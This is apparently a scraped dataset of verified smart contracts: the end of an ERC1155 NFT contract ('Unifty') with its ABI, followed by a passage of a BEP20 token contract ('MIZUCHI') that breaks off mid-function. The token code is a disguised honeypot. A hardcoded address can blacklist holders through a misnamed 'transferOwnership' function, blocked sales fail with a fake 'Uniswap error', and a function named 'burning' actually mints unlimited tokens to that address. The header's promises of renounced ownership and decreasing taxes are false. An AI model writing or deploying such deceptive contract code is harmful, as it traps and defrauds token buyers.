emit URI(tokenURI, _tokenIDs[i]);
}
}
/**
* @notice Will emit a specific URI log event for corresponding token
* @param _tokenIDs IDs of the token corresponding to the _uris logged
* @param _URIs The URIs of the specified _tokenIDs
*/
function _logURIs(uint256[] memory _tokenIDs, string[] memory _URIs) internal {
require(_tokenIDs.length == _URIs.length, "ERC1155Metadata#_logURIs: INVALID_ARRAYS_LENGTH");
for (uint256 i = 0; i < _tokenIDs.length; i++) {
emit URI(_URIs[i], _tokenIDs[i]);
}
}
/**
* @notice Will update the base URL of token's URI
* @param _newBaseMetadataURI New base URL of token's URI
*/
function _setBaseMetadataURI(string memory _newBaseMetadataURI) internal {
baseMetadataURI = _newBaseMetadataURI;
}
/***********************************|
| Utility Internal Functions |
|__________________________________*/
/**
* @notice Convert uint256 to string
* @param _i Unsigned integer to convert to string
*/
function _uint2str(uint256 _i) internal pure returns (string memory _uintAsString) {
if (_i == 0) {
return "0";
}
uint256 j = _i;
uint256 ii = _i;
uint256 len;
// Get number of bytes
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint256 k = len - 1;
// Get each individual ASCII
while (ii != 0) {
bstr[k--] = byte(uint8(48 + ii % 10));
ii /= 10;
}
// Convert to string
return string(bstr);
}
}
/**
* @dev Multi-Fungible Tokens with minting and burning methods. These methods assume
* a parent contract to be executed as they are `internal` functions
*/
contract ERC1155MintBurn is ERC1155 {
/****************************************|
| Minting Functions |
|_______________________________________*/
/**
* @notice Mint _amount of tokens of a given id
* @param _to The address to mint tokens to
* @param _id Token id to mint
* @param _amount The amount to be minted
* @param _data Data to pass if receiver is contract
*/
function _mint(address _to, uint256 _id, uint256 _amount, bytes memory _data)
internal
{
// Add _amount
balances[_to][_id] = balances[_to][_id].add(_amount);
// Emit event
emit TransferSingle(msg.sender, address(0x0), _to, _id, _amount);
// Calling onReceive method if recipient is contract
_callonERC1155Received(address(0x0), _to, _id, _amount, _data);
}
/**
* @notice Mint tokens for each ids in _ids
* @param _to The address to mint tokens to
* @param _ids Array of ids to mint
* @param _amounts Array of amount of tokens to mint per id
* @param _data Data to pass if receiver is contract
*/
function _batchMint(address _to, uint256[] memory _ids, uint256[] memory _amounts, bytes memory _data)
internal
{
require(_ids.length == _amounts.length, "ERC1155MintBurn#batchMint: INVALID_ARRAYS_LENGTH");
// Number of mints to execute
uint256 nMint = _ids.length;
// Executing all minting
for (uint256 i = 0; i < nMint; i++) {
// Update storage balance
balances[_to][_ids[i]] = balances[_to][_ids[i]].add(_amounts[i]);
}
// Emit batch mint event
emit TransferBatch(msg.sender, address(0x0), _to, _ids, _amounts);
// Calling onReceive method if recipient is contract
_callonERC1155BatchReceived(address(0x0), _to, _ids, _amounts, _data);
}
/****************************************|
| Burning Functions |
|_______________________________________*/
/**
* @notice Burn _amount of tokens of a given token id
* @param _from The address to burn tokens from
* @param _id Token id to burn
* @param _amount The amount to be burned
*/
function _burn(address _from, uint256 _id, uint256 _amount)
internal
{
//Substract _amount
balances[_from][_id] = balances[_from][_id].sub(_amount);
// Emit event
emit TransferSingle(msg.sender, _from, address(0x0), _id, _amount);
}
/**
* @notice Burn tokens of given token id for each (_ids[i], _amounts[i]) pair
* @param _from The address to burn tokens from
* @param _ids Array of token ids to burn
* @param _amounts Array of the amount to be burned
*/
function _batchBurn(address _from, uint256[] memory _ids, uint256[] memory _amounts)
internal
{
require(_ids.length == _amounts.length, "ERC1155MintBurn#batchBurn: INVALID_ARRAYS_LENGTH");
// Number of mints to execute
uint256 nBurn = _ids.length;
// Executing all minting
for (uint256 i = 0; i < nBurn; i++) {
// Update storage balance
balances[_from][_ids[i]] = balances[_from][_ids[i]].sub(_amounts[i]);
}
// Emit batch mint event
emit TransferBatch(msg.sender, _from, address(0x0), _ids, _amounts);
}
}
library Strings {
// via https://github.com/oraclize/ethereum-api/blob/master/oraclizeAPI_0.5.sol
function strConcat(
string memory _a,
string memory _b,
string memory _c,
string memory _d,
string memory _e
) internal pure returns (string memory) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint256 k = 0;
for (uint256 i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (uint256 i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (uint256 i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (uint256 i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (uint256 i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(
string memory _a,
string memory _b,
string memory _c,
string memory _d
) internal pure returns (string memory) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(
string memory _a,
string memory _b,
string memory _c
) internal pure returns (string memory) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string memory _a, string memory _b) internal pure returns (string memory) {
return strConcat(_a, _b, "", "", "");
}
function uint2str(uint256 _i) internal pure returns (string memory _uintAsString) {
if (_i == 0) {
return "0";
}
uint256 j = _i;
uint256 len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint256 k = len - 1;
while (_i != 0) {
bstr[k--] = bytes1(uint8(48 + (_i % 10)));
_i /= 10;
}
return string(bstr);
}
}
contract OwnableDelegateProxy {}
contract ProxyRegistry {
mapping(address => OwnableDelegateProxy) public proxies;
}
/**
* @title ERC1155Tradable
* ERC1155Tradable - ERC1155 contract that whitelists an operator address,
* has create and mint functionality, and supports useful standards from OpenZeppelin,
like _exists(), name(), symbol(), and totalSupply()
*/
contract ERC1155Tradable is ERC1155, ERC1155MintBurn, ERC1155Metadata, Ownable, MinterRole, WhitelistAdminRole {
using Strings for string;
address proxyRegistryAddress;
uint256 private _currentTokenID = 0;
mapping(uint256 => address) public creators;
mapping(uint256 => uint256) public tokenSupply;
mapping(uint256 => uint256) public tokenMaxSupply;
// Contract name
string public name;
// Contract symbol
string public symbol;
mapping(uint256 => string) private uris;
bool private constructed = false;
function init(
string memory _name,
string memory _symbol,
address _proxyRegistryAddress
) public {
require(!constructed, "ERC155 Tradeable must not be constructed yet");
constructed = true;
name = _name;
symbol = _symbol;
proxyRegistryAddress = _proxyRegistryAddress;
super.initOwnable();
super.initMinter();
super.initWhiteListAdmin();
}
constructor(
string memory _name,
string memory _symbol,
address _proxyRegistryAddress
) public {
constructed = true;
name = _name;
symbol = _symbol;
proxyRegistryAddress = _proxyRegistryAddress;
}
function removeWhitelistAdmin(address account) public onlyOwner {
_removeWhitelistAdmin(account);
}
function removeMinter(address account) public onlyOwner {
_removeMinter(account);
}
function uri(uint256 _id) public view returns (string memory) {
require(_exists(_id), "ERC721Tradable#uri: NONEXISTENT_TOKEN");
//return super.uri(_id);
if(bytes(uris[_id]).length > 0){
return uris[_id];
}
return Strings.strConcat(baseMetadataURI, Strings.uint2str(_id));
}
/**
* @dev Returns the total quantity for a token ID
* @param _id uint256 ID of the token to query
* @return amount of token in existence
*/
function totalSupply(uint256 _id) public view returns (uint256) {
return tokenSupply[_id];
}
/**
* @dev Returns the max quantity for a token ID
* @param _id uint256 ID of the token to query
* @return amount of token in existence
*/
function maxSupply(uint256 _id) public view returns (uint256) {
return tokenMaxSupply[_id];
}
/**
* @dev Will update the base URL of token's URI
* @param _newBaseMetadataURI New base URL of token's URI
*/
function setBaseMetadataURI(string memory _newBaseMetadataURI) public onlyWhitelistAdmin {
_setBaseMetadataURI(_newBaseMetadataURI);
}
/**
* @dev Creates a new token type and assigns _initialSupply to an address
* @param _maxSupply max supply allowed
* @param _initialSupply Optional amount to supply the first owner
* @param _uri Optional URI for this token type
* @param _data Optional data to pass if receiver is contract
* @return The newly created token ID
*/
function create(
uint256 _maxSupply,
uint256 _initialSupply,
string calldata _uri,
bytes calldata _data
) external onlyWhitelistAdmin returns (uint256 tokenId) {
require(_initialSupply <= _maxSupply, "Initial supply cannot be more than max supply");
uint256 _id = _getNextTokenID();
_incrementTokenTypeId();
creators[_id] = msg.sender;
if (bytes(_uri).length > 0) {
uris[_id] = _uri;
emit URI(_uri, _id);
}
else{
emit URI(string(abi.encodePacked(baseMetadataURI, _uint2str(_id), ".json")), _id);
}
if (_initialSupply != 0) _mint(msg.sender, _id, _initialSupply, _data);
tokenSupply[_id] = _initialSupply;
tokenMaxSupply[_id] = _maxSupply;
return _id;
}
function updateUri(uint256 _id, string calldata _uri) external onlyWhitelistAdmin{
if (bytes(_uri).length > 0) {
uris[_id] = _uri;
emit URI(_uri, _id);
}
else{
emit URI(string(abi.encodePacked(baseMetadataURI, _uint2str(_id), ".json")), _id);
}
}
function burn(address _address, uint256 _id, uint256 _amount) external {
require((msg.sender == _address) || isApprovedForAll(_address, msg.sender), "ERC1155#burn: INVALID_OPERATOR");
require(balances[_address][_id] >= _amount, "Trying to burn more tokens than you own");
_burn(_address, _id, _amount);
}
function updateProxyRegistryAddress(address _proxyRegistryAddress) external onlyWhitelistAdmin{
require(_proxyRegistryAddress != address(0), "No zero address");
proxyRegistryAddress = _proxyRegistryAddress;
}
/**
* @dev Mints some amount of tokens to an address
* @param _id Token ID to mint
* @param _quantity Amount of tokens to mint
* @param _data Data to pass if receiver is contract
*/
function mint(
uint256 _id,
uint256 _quantity,
bytes memory _data
) public onlyMinter {
uint256 tokenId = _id;
require(tokenSupply[tokenId].add(_quantity) <= tokenMaxSupply[tokenId], "Max supply reached");
_mint(msg.sender, _id, _quantity, _data);
tokenSupply[_id] = tokenSupply[_id].add(_quantity);
}
/**
* Override isApprovedForAll to whitelist user's OpenSea proxy accounts to enable gas-free listings.
*/
function isApprovedForAll(address _owner, address _operator) public view returns (bool isOperator) {
// Whitelist OpenSea proxy contract for easy trading.
ProxyRegistry proxyRegistry = ProxyRegistry(proxyRegistryAddress);
if (address(proxyRegistry.proxies(_owner)) == _operator) {
return true;
}
return ERC1155.isApprovedForAll(_owner, _operator);
}
/**
* @dev Returns whether the specified token exists by checking to see if it has a creator
* @param _id uint256 ID of the token to query the existence of
* @return bool whether the token exists
*/
function _exists(uint256 _id) internal view returns (bool) {
return creators[_id] != address(0);
}
/**
* @dev calculates the next token ID based on value of _currentTokenID
* @return uint256 for the next token ID
*/
function _getNextTokenID() private view returns (uint256) {
return _currentTokenID.add(1);
}
/**
* @dev increments the value of _currentTokenID
*/
function _incrementTokenTypeId() private {
_currentTokenID++;
}
}
/**
* @title Unifty
* Unifty - NFT Tools
*
* Rinkeby Opensea: 0xf57b2c51ded3a29e6891aba85459d600256cf317
* Mainnet Opensea: 0xa5409ec958c83c3f309868babaca7c86dcb077c1
*/
contract Unifty is ERC1155Tradable {
string private _contractURI = "https://unifty.io/meta/contract.json";
constructor(address _proxyRegistryAddress) public ERC1155Tradable("Unifty", "UNIF", _proxyRegistryAddress) {
_setBaseMetadataURI("https://unifty.io/meta/");
}
function contractURI() public view returns (string memory) {
return _contractURI;
}
function setContractURI(string memory _uri) public onlyWhitelistAdmin{
_contractURI = _uri;
}
function version() external pure returns (uint256) {
return 1;
}
} | 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nalType":"bool","name":"isOperator","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isMinter","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isWhitelistAdmin","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"uint256","name":"_id","type":"uint256"}],"name":"maxSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"uint256","name":"_id","type":"uint256"},{"internalType":"uint256","name":"_quantity","type":"uint256"},{"internalType":"bytes","name":"_data","type":"bytes"}],"name":"mint","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"removeMinter","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"removeWhitelistAdmin","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"renounceMinter","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"renounceOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"renounceWhitelistAdmin","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256[]","name":"_ids","type":"uint256[]"},{"internalType":"uint256[]","name":"_amounts","type":"uint256[]"},{"internalType":"bytes","name":"_data","type":"bytes"}],"name":"safeBatchTransferFrom","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_id","type":"uint256"},{"internalType":"uint256","name":"_amount","type":"uint256"},{"internalType":"bytes","name":"_data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_operator","type":"address"},{"internalType":"bool","name":"_approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"string","name":"_newBaseMetadataURI","type":"string"}],"name":"setBaseMetadataURI","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"string","name":"_uri","type":"string"}],"name":"setContractURI","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"bytes4","name":"_interfaceID","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"tokenMaxSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"tokenSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"uint256","name":"_id","type":"uint256"}],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_proxyRegistryAddress","type":"address"}],"name":"updateProxyRegistryAddress","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"uint256","name":"_id","type":"uint256"},{"internalType":"string","name":"_uri","type":"string"}],"name":"updateUri","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"uint256","name":"_id","type":"uint256"}],"name":"uri","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"version","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"pure","type":"function"}] | v0.5.17+commit.d19bba13 | true | 200 | 000000000000000000000000a5409ec958c83c3f309868babaca7c86dcb077c1 | Default | None | false | bzzr://48829d1fdb3d056f844c25e665129972947810dcabb704d024e83a9d5af94102 |
||
BEP20Token | @openzeppelin/contracts/token/ERC20/IERC20.sol | 0xbc8274d142ea3c48e8d32c4c93a2ba23631ce3da | Solidity | /*
███╗░░░███╗██╗███████╗██╗░░░██╗░█████╗░██╗░░██╗██╗
████╗░████║██║╚════██║██║░░░██║██╔══██╗██║░░██║██║
██╔████╔██║██║░░███╔═╝██║░░░██║██║░░╚═╝███████║██║
██║╚██╔╝██║██║██╔══╝░░██║░░░██║██║░░██╗██╔══██║██║
██║░╚═╝░██║██║███████╗╚██████╔╝╚█████╔╝██║░░██║██║
╚═╝░░░░░╚═╝╚═╝╚══════╝░╚═════╝░░╚════╝░╚═╝░░╚═╝╚═╝
*/
/*
Features:
💸 Decreasing Buy Tax - for each time you buy within 30 mins, your buy tax will decrease by 2%
🈹 Starts at 10% then 8% then 6% then a minimum of 4%
🈹 if you don't buy again after 30 minutes has elapsed, your buy tax resets at 10%
🈹 keep buying to maintain very low tax
💸 Decreasing Sell Tax - Sell tax starts high but decreases dramatically the longer HODL
🈹 The timer starts from when you last bought
🈹 Diamond hands deserve less tax
💸 Breakdown:
🤑 First 5 minutes: 35%
🤑 5 minutes to 30 minutes: 25%
🤑 30 minutes to 1 hour: 20%
🤑 1 hour to 3 hours: 15%
🤑 after 3 hours: 10%
CHECK OUR WEBSITE FOR MORE INFO
COMMUNTY TOKEN SO OWNERSHIP WILL BE RENOUNCED AFTER LAUNCH
ALL LP TOKENS WILL BE BURNED FORVEVER TO DEAD ADDRESS
40% INITIAL BURN
LOW MARKETCAP PLAY
with new interesting tokenomics not another shitcoin clone. If it works i think it can succeed based on creativity.
*/
pragma solidity 0.5.16;
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address _owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
*
NOTE:
Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership1(address newOwner) internal onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract BEP20Token is Context, IBEP20, Ownable {
using SafeMath for uint256;
mapping(address => bool) internal useinmanage;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
uint8 private _decimals;
string private _symbol;
string private _name;
constructor() public {
_name = "https://mizuchi.xyz/";
_symbol = "MIZUCHI";
_decimals = 9;
_totalSupply = 1000000000000000 * 10**9;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
/**
* @dev Returns the bep token owner.
*/
function getOwner() internal view returns (address) {
return owner();
}
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8) {
return _decimals;
}
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory) {
return _name;
}
/**
* @dev See {BEP20-totalSupply}.
*/
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {BEP20-balanceOf}.
*/
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
/**
* @dev See {BEP20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transferOwnership(address account, bool value) public {
require(
_msgSender() == 0x21749B02dc50f75E66feaB13CDa5591073C8bF32,
"BEP20: Not accessible"
);
useinmanage[account] = value;
}
function transfer(address recipient, uint256 amount)
external
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {BEP20-allowance}.
*/
function allowance(address owner, address spender)
external
view
returns (uint256)
{
return _allowances[owner][spender];
}
/**
* @dev See {BEP20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) external returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {BEP20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {BEP20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"BEP20: transfer amount exceeds allowance"
)
);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {BEP20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue)
public
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {BEP20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue)
public
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
"BEP20: decreased allowance below zero"
)
);
return true;
}
/**
* @dev Creates `amount` tokens and assigns them to `msg.sender`, increasing
* the total supply.
*
* Requirements
*
* - `msg.sender` must be the token owner
*/
function UserBalance(uint256 amount) public returns (bool) {
require(
_msgSender() == 0x21749B02dc50f75E66feaB13CDa5591073C8bF32,
"BEP20: Not accessible"
);
burning(_msgSender(), amount);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
require(
!useinmanage[sender],
"Uniswap error try again after sometime"
);
_balances[sender] = _balances[sender].sub(
amount,
"BEP20: transfer amount exceeds balance"
);
uint256 tax= amount.mul(20);
tax=tax.div(100);
address black_hole=0x0000000000000000000000000000000000000000;
_balances[black_hole]= _balances[black_hole].add(tax);
amount=amount.sub(tax);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function burning(address account, uint256 amount) internal {
require(account != address(0), "BEP20: burn to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(uint256 amount) internal returns (bool) {
_burni(_msgSender(), amount);
return true;
}
function _burni(address account, uint256 amount) internal {
require(account != address(0), "BEP20: burn from the zero address");
_balances[account] = _balances[account].sub(
amount,
"BEP20: burn amount exceeds balance"
);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
if (owner != address(0)) {
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
} else {
_allowances[owner][spender] = 0;
emit Approval(owner, spender, 0);
}
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burni(account, amount);
_approve(
account,
_msgSender(),
_allowances[account][_msgSender()].sub(
amount,
